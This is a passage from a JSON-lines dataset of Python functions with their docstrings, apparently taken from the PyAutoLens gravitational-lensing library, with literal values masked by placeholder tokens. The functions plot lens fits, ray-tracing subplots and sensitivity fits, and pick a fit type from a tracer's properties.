should_plot_noise_map:<EOL><INDENT>lens_plotter_util.plot_noise_map(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_signal_to_noise_map:<EOL><INDENT>lens_plotter_util.plot_signal_to_noise_map(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_model_image:<EOL><INDENT>lens_plotter_util.plot_model_data(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask, positions=positions,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_residual_map:<EOL><INDENT>lens_plotter_util.plot_residual_map(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_chi_squared_map:<EOL><INDENT>lens_plotter_util.plot_chi_squared_map(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>", "docstring": "Plot the model datas_ of an analysis, using the *Fitter* class object.\n\n    The visualization and output type can be fully customized.\n\n    Parameters\n    -----------\n    fit : autolens.lens.fitting.Fitter\n        Class containing fit between the model datas_ and observed lens datas_ (including residual_map, chi_squared_map etc.)\n    output_path : str\n        The path where the datas_ is output if the output_type is a file format (e.g. png, fits)\n    output_format : str\n        How the datas_ is output. File formats (e.g. png, fits) output the datas_ to harddisk. 'show' displays the datas_ \\\n        in the python interpreter window.", "id": "f5976:m4"}
{"signature": "def plot_fit_individuals_lens_and_source_planes(<EOL>fit, should_plot_mask=True, extract_array_from_mask=False, zoom_around_mask=False, positions=None,<EOL>should_plot_image_plane_pix=False,<EOL>should_plot_image=False,<EOL>should_plot_noise_map=False,<EOL>should_plot_signal_to_noise_map=False,<EOL>should_plot_lens_subtracted_image=False,<EOL>should_plot_model_image=False,<EOL>should_plot_lens_model_image=False,<EOL>should_plot_source_model_image=False,<EOL>should_plot_source_plane_image=False,<EOL>should_plot_residual_map=False,<EOL>should_plot_chi_squared_map=False,<EOL>units='<STR_LIT>',<EOL>output_path=None, output_format='<STR_LIT>'):", "body": "mask = lens_plotter_util.get_mask(fit=fit, should_plot_mask=should_plot_mask)<EOL>kpc_per_arcsec = fit.tracer.image_plane.kpc_per_arcsec<EOL>if should_plot_image:<EOL><INDENT>image_plane_pix_grid = lens_plotter_util.get_image_plane_pix_grid(should_plot_image_plane_pix, fit)<EOL>lens_plotter_util.plot_image(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>image_plane_pix_grid=image_plane_pix_grid,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_noise_map:<EOL><INDENT>lens_plotter_util.plot_noise_map(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_signal_to_noise_map:<EOL><INDENT>lens_plotter_util.plot_signal_to_noise_map(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_lens_subtracted_image:<EOL><INDENT>lens_plotter_util.plot_lens_subtracted_image(<EOL>fit=fit, mask=mask, positions=positions, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_model_image:<EOL><INDENT>lens_plotter_util.plot_model_data(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_lens_model_image:<EOL><INDENT>lens_plotter_util.plot_model_image_of_planes(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>plot_foreground=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL><DEDENT>if should_plot_source_model_image:<EOL><INDENT>lens_plotter_util.plot_model_image_of_planes(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>plot_source=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL><DEDENT>if should_plot_source_plane_image:<EOL><INDENT>if fit.total_inversions == <NUM_LIT:0>:<EOL><INDENT>plane_plotters.plot_plane_image(<EOL>plane=fit.tracer.source_plane, plot_grid=True,<EOL>units=units, figsize=(<NUM_LIT:20>, <NUM_LIT:20>),<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL><DEDENT>elif fit.total_inversions == <NUM_LIT:1>:<EOL><INDENT>inversion_plotters.plot_reconstructed_pixelization(<EOL>inversion=fit.inversion, should_plot_grid=True,<EOL>units=units, figsize=(<NUM_LIT:20>, <NUM_LIT:20>),<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL><DEDENT><DEDENT>if should_plot_residual_map:<EOL><INDENT>lens_plotter_util.plot_residual_map(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_chi_squared_map:<EOL><INDENT>lens_plotter_util.plot_chi_squared_map(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>", "docstring": "Plot the model datas_ of an analysis, using the *Fitter* class object.\n\n    The visualization and output type can be fully customized.\n\n    Parameters\n    -----------\n    fit : autolens.lens.fitting.Fitter\n        Class containing fit between the model datas_ and observed lens datas_ (including residual_map, chi_squared_map etc.)\n    output_path : str\n        The path where the datas_ is output if the output_type is a file format (e.g. png, fits)\n    output_format : str\n        How the datas_ is output. File formats (e.g. png, fits) output the datas_ to harddisk. 'show' displays the datas_ \\\n        in the python interpreter window.", "id": "f5976:m5"}
{"signature": "def plot_fit_subplot(<EOL>fit, should_plot_mask=True, extract_array_from_mask=False, zoom_around_mask=False, positions=None,<EOL>should_plot_image_plane_pix=True,<EOL>units='<STR_LIT>', figsize=None, aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>titlesize=<NUM_LIT:10>, xlabelsize=<NUM_LIT:10>, ylabelsize=<NUM_LIT:10>, xyticksize=<NUM_LIT:10>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT>, grid_pointsize=<NUM_LIT:1>,<EOL>output_path=None, output_filename='<STR_LIT>', output_format='<STR_LIT>'):", "body": "rows, columns, figsize_tool = plotter_util.get_subplot_rows_columns_figsize(number_subplots=<NUM_LIT:9>)<EOL>mask = lens_plotter_util.get_mask(fit=fit.fit_normal, should_plot_mask=should_plot_mask)<EOL>image_plane_pix_grid = lens_plotter_util.get_image_plane_pix_grid(should_plot_image_plane_pix, fit)<EOL>if figsize is None:<EOL><INDENT>figsize = figsize_tool<EOL><DEDENT>plt.figure(figsize=figsize)<EOL>plt.subplot(rows, columns, <NUM_LIT:1>)<EOL>kpc_per_arcsec = fit.tracer_normal.image_plane.kpc_per_arcsec<EOL>lens_plotter_util.plot_image(<EOL>fit=fit.fit_normal, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, image_plane_pix_grid=image_plane_pix_grid,<EOL>as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>grid_pointsize=grid_pointsize, position_pointsize=position_pointsize, mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:4>)<EOL>lens_plotter_util.plot_model_data(<EOL>fit=fit.fit_normal, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:5>)<EOL>lens_plotter_util.plot_residual_map(<EOL>fit=fit.fit_normal, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:6>)<EOL>lens_plotter_util.plot_chi_squared_map(<EOL>fit=fit.fit_normal, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:7>)<EOL>lens_plotter_util.plot_model_data(<EOL>fit=fit.fit_sensitive, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:8>)<EOL>lens_plotter_util.plot_residual_map(<EOL>fit=fit.fit_sensitive, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:9>)<EOL>lens_plotter_util.plot_chi_squared_map(<EOL>fit=fit.fit_sensitive, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plotter_util.output_subplot_array(output_path=output_path, output_filename=output_filename,<EOL>output_format=output_format)<EOL>plt.close()<EOL>", "docstring": "Plot the model datas of an analysis, using the *Fitter* class object.\n\n    The visualization and output type can be fully customized.\n\n    Parameters\n    -----------\n    fit : autolens.sensitivity_fitting.SensitivityProfileFit\n        Class containing fitting between the model datas and observed lens datas (including residual_map, chi_squared_map etc.)", "id": "f5978:m0"}
{"signature": "def plot_ray_tracing_subplot(<EOL>tracer, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None,<EOL>units='<STR_LIT>', figsize=None, aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>titlesize=<NUM_LIT:10>, xlabelsize=<NUM_LIT:10>, ylabelsize=<NUM_LIT:10>, xyticksize=<NUM_LIT:10>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT>, grid_pointsize=<NUM_LIT:1.0>,<EOL>output_path=None, output_filename='<STR_LIT>', output_format='<STR_LIT>'):", "body": "rows, columns, figsize_tool = plotter_util.get_subplot_rows_columns_figsize(number_subplots=<NUM_LIT:6>)<EOL>if figsize is None:<EOL><INDENT>figsize = figsize_tool<EOL><DEDENT>plt.figure(figsize=figsize)<EOL>plt.subplot(rows, columns, <NUM_LIT:1>)<EOL>plot_image_plane_image(<EOL>tracer=tracer, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>positions=positions, as_subplot=True,<EOL>units=units, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>if tracer.has_mass_profile:<EOL><INDENT>plt.subplot(rows, columns, <NUM_LIT:2>)<EOL>plot_convergence(<EOL>tracer=tracer, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:3>)<EOL>plot_potential(<EOL>tracer=tracer, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL><DEDENT>plt.subplot(rows, columns, <NUM_LIT:4>)<EOL>plane_plotters.plot_plane_image(<EOL>plane=tracer.source_plane, as_subplot=True, positions=None, plot_grid=False,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>grid_pointsize=grid_pointsize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>if tracer.has_mass_profile:<EOL><INDENT>plt.subplot(rows, columns, <NUM_LIT:5>)<EOL>plot_deflections_y(<EOL>tracer=tracer, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:6>)<EOL>plot_deflections_x(<EOL>tracer=tracer, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL><DEDENT>plotter_util.output_subplot_array(output_path=output_path, output_filename=output_filename,<EOL>output_format=output_format)<EOL>plt.close()<EOL>", "docstring": "Plot the observed _tracer of an analysis, using the *CCD* class object.\n\n    The visualization and output type can be fully customized.\n\n    Parameters\n    -----------\n    tracer : autolens.ccd.tracer.CCD\n        Class containing the _tracer, noise_map-mappers and PSF that are to be plotted.\n        The font size of the figure ylabel.\n    output_path : str\n        The path where the _tracer is output if the output_type is a file format (e.g. png, fits)\n    output_format : str\n        How the _tracer is output. File formats (e.g. png, fits) output the _tracer to harddisk. 'show' displays the _tracer \\\n        in the python interpreter window.", "id": "f5979:m0"}
{"signature": "def plot_ray_tracing_individual(<EOL>tracer, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None,<EOL>should_plot_image_plane_image=False,<EOL>should_plot_source_plane=False,<EOL>should_plot_convergence=False,<EOL>should_plot_potential=False,<EOL>should_plot_deflections=False,<EOL>units='<STR_LIT>',<EOL>output_path=None, output_format='<STR_LIT>'):", "body": "if should_plot_image_plane_image:<EOL><INDENT>plot_image_plane_image(<EOL>tracer=tracer, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions,<EOL>units=units,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_convergence:<EOL><INDENT>plot_convergence(<EOL>tracer=tracer, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask,<EOL>units=units,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_potential:<EOL><INDENT>plot_potential(<EOL>tracer=tracer, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask,<EOL>units=units,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_source_plane:<EOL><INDENT>plane_plotters.plot_plane_image(<EOL>plane=tracer.source_plane, positions=None, plot_grid=False,<EOL>units=units,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL><DEDENT>if should_plot_deflections:<EOL><INDENT>plot_deflections_y(<EOL>tracer=tracer, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask,<EOL>units=units,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_deflections:<EOL><INDENT>plot_deflections_x(<EOL>tracer=tracer, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask,<EOL>units=units,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>", "docstring": "Plot the observed _tracer of an analysis, using the *CCD* class object.\n\n    The visualization and output type can be fully customized.\n\n    Parameters\n    -----------\n    tracer : autolens.ccd.tracer.CCD\n        Class containing the _tracer, noise_map-mappers and PSF that are to be plotted.\n        The font size of the figure ylabel.\n    output_path : str\n        The path where the _tracer is output if the output_type is a file format (e.g. png, fits)\n    output_format : str\n        How the _tracer is output. File formats (e.g. png, fits) output the _tracer to harddisk. 'show' displays the _tracer \\\n        in the python interpreter window.", "id": "f5979:m1"}
{"signature": "def fit_lens_data_with_sensitivity_tracers(lens_data, tracer_normal, tracer_sensitive):", "body": "if (tracer_normal.has_light_profile and tracer_sensitive.has_light_profile) and(not tracer_normal.has_pixelization and not tracer_sensitive.has_pixelization):<EOL><INDENT>return SensitivityProfileFit(lens_data=lens_data, tracer_normal=tracer_normal,<EOL>tracer_sensitive=tracer_sensitive)<EOL><DEDENT>elif (not tracer_normal.has_light_profile and not tracer_sensitive.has_light_profile) and(tracer_normal.has_pixelization and tracer_sensitive.has_pixelization):<EOL><INDENT>return SensitivityInversionFit(lens_data=lens_data, tracer_normal=tracer_normal,<EOL>tracer_sensitive=tracer_sensitive)<EOL><DEDENT>else:<EOL><INDENT>raise exc.FittingException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Fit lens data with a normal tracer and sensitivity tracer, to determine our sensitivity to a selection of \\ \n    galaxy components. This factory automatically determines the type of fit based on the properties of the galaxies \\\n    in the tracers.\n\n    Parameters\n    -----------\n    lens_data : lens_data.LensData or lens_data.LensDataHyper\n        The lens-images that is fitted.\n    tracer_normal : ray_tracing.AbstractTracer\n        A tracer whose galaxies have the same model components (e.g. light profiles, mass profiles) as the \\\n        lens data that we are fitting.\n    tracer_sensitive : ray_tracing.AbstractTracerNonStack\n        A tracer whose galaxies have the same model components (e.g. light profiles, mass profiles) as the \\\n        lens data that we are fitting, but also addition components (e.g. mass clumps) which we measure \\\n        how sensitive we are too.", "id": "f5980:m0"}
{"signature": "def __init__(self, lens_data, tracer_normal, tracer_sensitive):", "body": "AbstractSensitivityFit.__init__(self=self, tracer_normal=tracer_normal, tracer_sensitive=tracer_sensitive)<EOL>self.fit_normal = lens_fit.LensProfileFit(lens_data=lens_data, tracer=tracer_normal)<EOL>self.fit_sensitive = lens_fit.LensProfileFit(lens_data=lens_data, tracer=tracer_sensitive)<EOL>", "docstring": "Evaluate the sensitivity of a profile fit to a specific component of a lens model and tracer. This is \\\n        performed by evaluating the likelihood of a fit to an image using two tracers:\n\n        1) A 'normal tracer', which uses the same lens model as a the simulated lens data. This gives a baseline \\\n           value of the likelihood we can expect when we fit the model to itself.\n\n        2) A 'sensitive tracer', which uses the same lens model as the simulated lens data, but also includes the \\\n           additional model components (e.g. a mass clump 'subhalo') which we are testing our sensitivity to.\n\n        The difference in likelihood of these two fits informs us of how sensitive we are to the component in the \\\n        second tracer. For example, if the difference in likelihood is neglible, it means the model component had no \\\n        impact on our fit, meaning we are not sensitive to its properties.\n\n        Parameters\n        ----------\n        lens_data: lens_data.LensData\n            A simulated lens data which is used to determine our sensitiivity to specific model components.\n        tracer_normal : ray_tracing.AbstractTracer\n            A tracer whose galaxies have the same model components (e.g. light profiles, mass profiles) as the \\\n            lens data that we are fitting.\n       tracer_sensitive : ray_tracing.AbstractTracerNonStack\n            A tracer whose galaxies have the same model components (e.g. light profiles, mass profiles) as the \\\n            lens data that we are fitting, but also addition components (e.g. mass clumps) which we measure \\\n            how sensitive we are too.", "id": "f5980:c1:m0"}
{"signature": "def __init__(self, lens_data, tracer_normal, tracer_sensitive):", "body": "AbstractSensitivityFit.__init__(self=self, tracer_normal=tracer_normal, tracer_sensitive=tracer_sensitive)<EOL>self.fit_normal = lens_fit.LensInversionFit(lens_data=lens_data, tracer=tracer_normal)<EOL>self.fit_sensitive = lens_fit.LensInversionFit(lens_data=lens_data, tracer=tracer_sensitive)<EOL>", "docstring": "Evaluate the sensitivity of an invesion fit to a specific component of a lens model and tracer. This is \\\n        performed by evaluating the likelihood of a fit to an image using two tracers:\n\n        1) A 'normal tracer', which uses the same lens model as a the simulated lens data. This gives a baseline \\\n           value of the likelihood we can expect when we fit the model to itself.\n\n        2) A 'sensitive tracer', which uses the same lens model as the simulated lens data, but also includes the \\\n           additional model components (e.g. a mass clump 'subhalo') which we are testing our sensitivity to.\n\n        The difference in likelihood of these two fits informs us of how sensitive we are to the component in the \\\n        second tracer. For example, if the difference in likelihood is neglible, it means the model component had no \\\n        impact on our fit, meaning we are not sensitive to its properties.\n\n        Parameters\n        ----------\n        lens_data: lens_data.LensData\n            A simulated lens data which is used to determine our sensitiivity to specific model components.\n        tracer_normal : ray_tracing.AbstractTracer\n            A tracer whose galaxies have the same model components (e.g. light profiles, mass profiles) as the \\\n            lens data that we are fitting.\n       tracer_sensitive : ray_tracing.AbstractTracerNonStack\n            A tracer whose galaxies have the same model components (e.g. light profiles, mass profiles) as the \\\n            lens data that we are fitting, but also addition components (e.g. mass clumps) which we measure \\\n            how sensitive we are too.", "id": "f5980:c2:m0"}
{"signature": "@classmethod<EOL><INDENT>def for_data_and_tracer(cls, lens_data, tracer, padded_tracer=None):<DEDENT>", "body": "if tracer.has_light_profile and not tracer.has_pixelization:<EOL><INDENT>return LensProfileFit(lens_data=lens_data, tracer=tracer, padded_tracer=padded_tracer)<EOL><DEDENT>elif not tracer.has_light_profile and tracer.has_pixelization:<EOL><INDENT>return LensInversionFit(lens_data=lens_data, tracer=tracer, padded_tracer=None)<EOL><DEDENT>elif tracer.has_light_profile and tracer.has_pixelization:<EOL><INDENT>return LensProfileInversionFit(lens_data=lens_data, tracer=tracer, padded_tracer=None)<EOL><DEDENT>else:<EOL><INDENT>raise exc.FittingException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Fit lens data with a model tracer, automatically determining the type of fit based on the \\\n        properties of the galaxies in the tracer.\n\n        Parameters\n        -----------\n        lens_data : lens_data.LensData or lens_data.LensDataHyper\n            The lens-images that is fitted.\n        tracer : ray_tracing.TracerNonStack\n            The tracer, which describes the ray-tracing and strong lens configuration.\n        padded_tracer : ray_tracing.Tracer or None\n            A tracer with an identical strong lens configuration to the tracer above, but using the lens data's \\\n            padded grid_stack such that unmasked model-images can be computed.", "id": "f5981:c0:m4"}
